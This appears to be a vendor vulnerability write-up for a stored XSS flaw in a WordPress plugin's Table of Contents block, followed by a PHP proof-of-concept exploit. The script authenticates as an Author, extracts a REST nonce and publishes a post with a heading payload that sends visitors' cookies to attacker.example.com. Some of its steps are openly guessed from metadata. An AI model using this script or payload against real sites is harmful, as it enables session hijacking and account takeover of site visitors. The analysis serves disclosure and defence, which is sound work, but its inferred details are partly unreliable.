Atomic Edge analysis of CVE-2026-5820 (metadata-based): This vulnerability is a Stored Cross-Site Scripting (XSS) within the Zypento Blocks plugin for WordPress, affecting the Table of Contents (TOC) block up to version 1.0.6. An attacker with Author-level permissions or higher can inject arbitrary web scripts that execute when a user visits a page containing the malicious TOC block. The CVSS score is 6.4, indicating medium severity with network access, low complexity, and requiring low privileges.
The root cause, inferred from the CWE-79 classification and the vulnerability description, lies in the insecure use of JavaScript to generate the Table of Contents. The front-end script reads heading text using `innerText` (which is safe) but then inserts it into the DOM using `innerHTML` without any sanitization. This is a classic DOM-based XSS pattern where the plugin takes data from the page (heading text) and insecurely writes it back into the page. Since an Author can create posts with arbitrary heading text, they can craft a heading containing an XSS payload.
The Zypento Blocks TOC block must be placed on the same page. When the page renders, the TOC block’s script iterates over headings on the page, reads their `innerText`, and then uses `innerHTML` to build the TOC list. Because `innerHTML` is used without escaping, the malicious heading’s text is rendered as HTML, executing the injected script. No specific AJAX endpoint or REST API is involved; the attack is purely client-side after the page is rendered, but it is stored because the malicious heading is persisted in the database.
Remediation requires the plugin developers to change the TOC generation script to use `innerText` instead of `innerHTML` when setting the content of the TOC items. Alternatively, they should sanitize or escape the heading text using `textContent` or a safe DOM manipulation method like `document.createTextNode()`. A transient fix would be to escape HTML entities in the heading text before insertion. The most secure fix is to avoid using `innerHTML` for any data that originates from user input or the page content. Since no patched version is available, users must temporarily disable the Table of Contents block or use alternative plugins until a fix is released.
If exploited, an attacker can inject arbitrary JavaScript that executes in the context of the victim’s browser. This can lead to session hijacking (via cookie theft), redirection to malicious sites, defacement of the WordPress site, or execution of WordPress API actions on behalf of the victim. Since the XSS is stored, every visitor to the affected page is compromised. The impact is limited to data and integrity loss (CVSS: C:L/I:L/A:N), meaning the attacker cannot directly take over the server but can manipulate the user’s experience and steal sensitive data.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5820 - Zypento Blocks <= 1.0.6 - Authenticated (Author+) Stored Cross-Site Scripting via Table of Contents Block
// Note: This PoC assumes the attacker has valid WordPress credentials with Author-level access.
// The vulnerability is client-side, so we simulate the stored XSS by creating a post with a malicious heading.
// The Zypento Blocks TOC block must be active on the target site and placed on the page.
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'author_user'; // Change to a valid Author username
$password = 'author_password'; // Change to the password
// Step 1: Authenticate and get a WordPress nonce for post creation
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_2026_5820.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch) . "n");
}
curl_close($ch);
// Check for login cookie (WordPress sets 'wordpress_logged_in_' cookie)
$cookies = file_get_contents('/tmp/cookies_cve_2026_5820.txt');
if (strpos($cookies, 'wordpress_logged_in') === false) {
die('Authentication failed. Check credentials.n');
}
echo "[+] Authenticated successfully.n";
// Step 2: Obtain admin-ajax nonce (required for creating posts via AJAX)
$admin_url = $target_url . '/wp-admin/admin-ajax.php';
$nonce_action = 'zypento_blocks_nonce'; // Inferred from plugin slug; may need adjustment
// We assume an AJAX endpoint exists to create posts; however, the standard way is via REST API.
// Let's use the WordPress REST API which is more reliable for post creation.
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=wp_rest_nonce'; // Not standard, we'll get nonce from page
// Alternative: Get nonce from the post editor page
$editor_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_5820.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Extract the REST API nonce (wp_rest)
preg_match('/"rest_nonce":"([^"]+)"/', $response, $matches);
if (!isset($matches[1])) {
die('Could not extract REST nonce.n');
}
$rest_nonce = $matches[1];
echo "[+] Obtained REST nonce: $rest_noncen";
// Step 3: Craft the malicious post with a heading that contains XSS payload
$payload = '</h2><img src=x onerror=fetch("https://attacker.example.com/steal?cookie="+document.cookie)><h2>';
$post_content = '<!-- wp:paragraph --><h2 id="target-heading">' . $payload . '</h2><!-- /wp:paragraph --><!-- wp:zypento-blocks/table-of-contents /-->';
$post_data = array(
'title' => 'Test Post - Atomic Edge PoC',
'content' => $post_content,
'status' => 'publish',
'author' => 1 // Author ID (adjust if needed)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $rest_nonce
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_2026_5820.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 201) {
$response_data = json_decode($response, true);
$post_id = $response_data['id'];
$post_link = $response_data['link'];
echo "[+] Post created successfully.n";
echo "[+] Post ID: $post_idn";
echo "[+] Visit the post to trigger XSS: $post_linkn";
echo "[+] The payload will execute when the Table of Contents block is rendered.n";
} else {
echo "[-] Failed to create post. HTTP code: $http_coden";
echo "Response: $responsen";
}
// Clean up cookie file
unlink('/tmp/cookies_cve_2026_5820.txt');
?>
